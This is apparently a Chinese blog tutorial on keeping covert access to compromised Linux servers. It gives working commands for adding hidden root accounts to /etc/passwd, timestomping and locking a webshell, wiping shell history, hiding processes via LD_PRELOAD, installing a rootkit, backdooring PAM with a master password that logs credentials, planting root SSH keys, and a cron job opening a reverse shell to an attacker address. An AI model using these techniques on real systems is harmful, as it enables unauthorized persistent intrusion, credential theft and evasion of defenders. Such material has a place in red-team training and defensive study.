• 内网渗透-linux权限维持


    内网渗透-linux权限维持

    添加用户

    UID=0是最高权限的用户,有时候不能被远程登录,可以创建一个普通用户。

    正常可以通过 “id” 来查看当前的用户的UID,
    在这里插入图片描述

    存在交互的shell且允许uid=0的⽤户远程登录
    假设是高版本的话,先修改/etc/passwd的内容,在设置对应账户的密码

    echo “test❌0:0:😕:/bin/sh” >> /etc/passwd
    #增加超级⽤户账号
    passwd test
    #修改test的密码

    在这里插入图片描述
    添加成功
    这里主要区分是什么服务器 因为在你创建用户 之后你要选择登录 你的ip一定是跟机主原始ip不一致 导致报异地登录等

    存在交互的shell不允许uid=0的⽤户远程登录(高版本)

    这个时候我们就可以创建一个普通的用户,先修改/etc/passwd的内容,在设置对应账户的密码

    echo “xbb❌1000:1000:😕:/bin/sh” >> /etc/passwd
    #增加普通⽤户账号

    passwd xbb
    #修改wxg的密码为xbb123456

    没交互shell⽆回显添加Linux账户密码

    可以设置简单的密码
    useradd wxg -u 0 -o -g root -G root|| echo “123456” | passwd --stdin wxg

    #创建账户wxg、密码123456且为root权限
    注意,上述命令需要执行2次

    在Ubuntu的一些版本中没有–-stdin,使用上述命令该密码会报错,可以使用下边这条语句:

    也得执行两次。且需要root用户执行,sudo执行也会失败。

    sudo useradd wxg -u 0 -o -g root -G root || echo wxg:123456 | chpasswd
    #创建账户wxg、密码123456且为root权限

    新增一个低权限用户(这种权限较小)
    useradd test

    echo “123456” | passwd --stdin test
    、、在Ubuntu的一些版本中没有–-stdin,使用上述命令该密码会报错,可以使用下边这条语句:
    echo test:123456 | chpasswd

    设置复杂密码的高权限用户

    useradd -u 0 -o -g root -G root user |echo -e “1qazwsx2wsx\n1qazwsx2wsx”|passwd user
    、、该命令也得执行2次。且需要root用户执行,sudo执行也会失败。
    、、该命令创建用户名称为“ user ”密码为“ 1qazwsx2wsx ”

    使用linux的perl直接写入/etc/passwd

    首先,使用perl语言(Linux自带)生成带有盐值的密码

    perl -le ‘print crypt(“123456”,“addedsalt”)’

    通过返回的盐值

    echo “test:adrla7IBSfTZQ:0:0:root:/root:/bin/bash” >>/etc/passwd

    隐藏后门技巧

    hvv中,很多蓝队首先会根据文件的修改时间来判断文件是否含有后门。
    假设原本的文件大多时间都为20年,新上传的木马是22年的,肯定会被优先针对。

    修改文件属性

    可以通过以下命令来复制文件的时间属性:
    touch -r index.php shell.php
    实验如下:

    创建一个2.php 看世界
    在复制shell.php文件属性来建立3.php,效果还是很明显的。
    在这里插入图片描述

    在这里插入图片描述

    文件锁定

    在Linux中,使⽤chattr命令来防⽌root和其他管理⽤户误删除和修改重要⽂件及⽬录,

    此权限⽤ls -l是查看不出来的,从⽽达到隐藏权限的⽬的。
    chattr +i evil.php #锁定⽂件

    rm -rf evil.php #提示禁⽌删除

    lsattr evil.php #属性查看

    chattr -i evil.php #解除锁定

    rm -rf evil.php #彻底删除⽂件
    在这里插入图片描述

    历史操作命令

    在Linux之中,存在history,可以记录我们执行的命令。

    在shell中执行的命令,不希望被记录在命令行历史中,那么在linux中可以开启无痕操作模式,所谓神不知鬼不觉

    只针对你的工作关闭历史记录

    history -c 大法

    在这里插入图片描述

    空格 set +o history

    由于空格的缘故,该命令本身也不会被记录。
    上面的命令会临时禁用历史功能,这意味着在这命令之后你执行的所有操作都不会记录到历史中,然而这个命令之前的所有东西都会原样记录在历史列表中。
    如要重新开启历史功能

    空格 set -o history

    从历史记录中删除指定的命令
    假设历史记录中已经包含了一些你不希望记录的命令。这种情况下我们怎么办?很简单。通过下面的命令来删除:

    history | grep “keyword”

    输出历史记录中匹配的命令

    history -d 命令所在的行数

    批量删除:
    只保留前100个

    sed -i ‘100,$d’ .bash_history

    隐藏文件

    Linux 下创建一个隐藏文件:

    touch .test.txt

    touch 命令可以创建一个文件,文件名前面加一个 点 就代表是隐藏文件 而且使用命令ls
    -l是查看不出来的,只能查看到文件及文件夹,查看Linux下的隐藏文件需要用到命令:ls -al
    在这里插入图片描述

    进程隐藏

    管理员无法通过相关命令工具查找到你运行的进程,从而达到隐藏目的,实现进程隐藏。
    劫持预加载动态链接库 LD_PRELOAD

    libprocesshider
    使用 ld 预加载器在 Linux 下隐藏进程。

    完整教程可在https://sysdigcloud.com/hiding-linux-processes-for-fun-and-profit/

    简而言之,编译库:

    gianluca@sid:~/libprocesshider$ make
    gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl
    gianluca@sid:~/libprocesshider$ sudo mv libprocesshider.so /usr/local/lib/

    使用全局动态链接器加载它

    root@sid:~# echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

    你的过程将不为人知

    gianluca@sid:~$ sudo ps aux
    USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND

    gianluca@sid:~$ sudo lsof -ni
    COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME

    rookit后门

    介绍

    Rootkit是一种特殊的恶意软件,它的功能是在安装目标上隐藏自身及指定的文件、进程和网络链接等信息,比较多见到的是Rootkit一般都和木马、后门等其他恶意程序结合使用。

    rootkit是linux平台下最常见的一种木马后门工具,它主要是通过替换系统文件来达到入侵和隐藏的目的。rootkit主要分为文件级别的和内核级别的

    文件级别:一般是通过程序漏洞或者系统漏洞进入系统后,通过修改系统的重要文件来达到隐藏自己的目的。在系统遭受rootkit攻击后,合法的文件被木马程序替代,变成了外壳程序,而其内部是隐藏着的后门程序。
    内核级别:是比文件级rootkit更高级的一种入侵方式,它可以使攻击者获得对系统底层的完全控制权,此时攻击者可以修改系统内核,进而截获运行程序向内核提交的命令,并将其重定向到入侵者所选择的程序并运行此程序。
    常用的rookit后门工具有Reptile、mafix

    Reptile

    Reptile是一款rookit后门工具。项目地址:https://github.com/f0rb1dd3n/Reptile/tree/0e562cffc4373d6774502a2f68fd758f58a2db75

    PAM

    PAM是一种认证模块,PAM可以作为Linux登录验证和各类基础服务的认证,简单来说就是一种用于Linux系统上的用户身份验证的机制。进行认证时首先确定是什么服务,然后加载相应的PAM的配置文件(位于/etc/pam.d),最后调用认证文件(位于/lib/security)进行安全认证

    简易利用的PAM后门也是通过修改PAM源码中认证的逻辑来达到权限维持
    1、获取目标系统所使用的PAM版本,下载对应版本的pam版本
    2、解压缩,修改pam_unix_auth.c文件,添加万能密码
    3、编译安装PAM
    4、编译完后的文件在:modules/pam_unix/.libs/pam_unix.so,复制到/lib64/security中进行替换,即可使用万能密码登陆,并将用户名密码记录到文件中。

    ssh公私钥免密登录

    创建秘钥对,然后将公钥上传到拿下的服务器中,实现root账号免密登录

    ssh秘钥

    生成ssh秘钥对

    ssh-keygen -t rsa
    保存路径输入 ./id_rsa ,保存到当前路径。接着再按两次回车

    将id_rsa.pub公钥上传到服务中
    将公钥写入到authorized_keys文件中

    mkdir /root/.ssh && touch /root/.ssh/authorized_keys
    cat id_rsa.pub >> /root/.ssh/authorized_keys && chmod 600 /root/.ssh/authorized_keys && chmod 700 /root/.ssh/

    配置允许使用秘钥登录

    vim /etc/ssh/sshd_config
    RSAAuthentication yes
    PubkeyAuthentication yes

    ssh秘钥登录

    ssh -i id_rsa root@ip

    计划任务 反弹shell

    使用crontab命令进行反弹shell。crontab命令用于设置周期性被执行的指令。新建shell脚本,利用脚本进行反弹。

    创建反弹shell脚本,vim /etc/.evil.sh

    #!/bin/bash
    bash -i >& /dev/tcp/xx.xx.xx.xx/80 0>&1

    并加上执行权限 chmod +x /etc/.evil.sh
    添加计划任务 我们可以使用crontab -e或者vim /etc/crontab添加计划任务

    #添加计划任务
    vim /etc/crontab
    #查看计划任务
    cat /etc/crontab

    设置定时任务为每分钟执行一次

    #每一分钟执行一次
    */1 * * * * root /etc/.evil.sh

    nc 监听 上线

  • 相关阅读:
    ABB码垛机器人IRB260通讯板维修
    cad转pdf怎么变成黑白?
    #微信小程序创建(获取onenet平台数据)
    Springboot+dubbo框架升级踩坑记
    无法连接虚拟机,解决办法
    要如何才能抑制局部放电试验干扰?
    突破编程_C++_设计模式(责任链模式)
    Linux文件权限修改
    Java线程池是如何保证核心线程不被销毁的
    【第一阶段:java基础】第6章:面向对象编程基础(P191-P227)
  • 原文地址:https://blog.csdn.net/lza20001103/article/details/126512964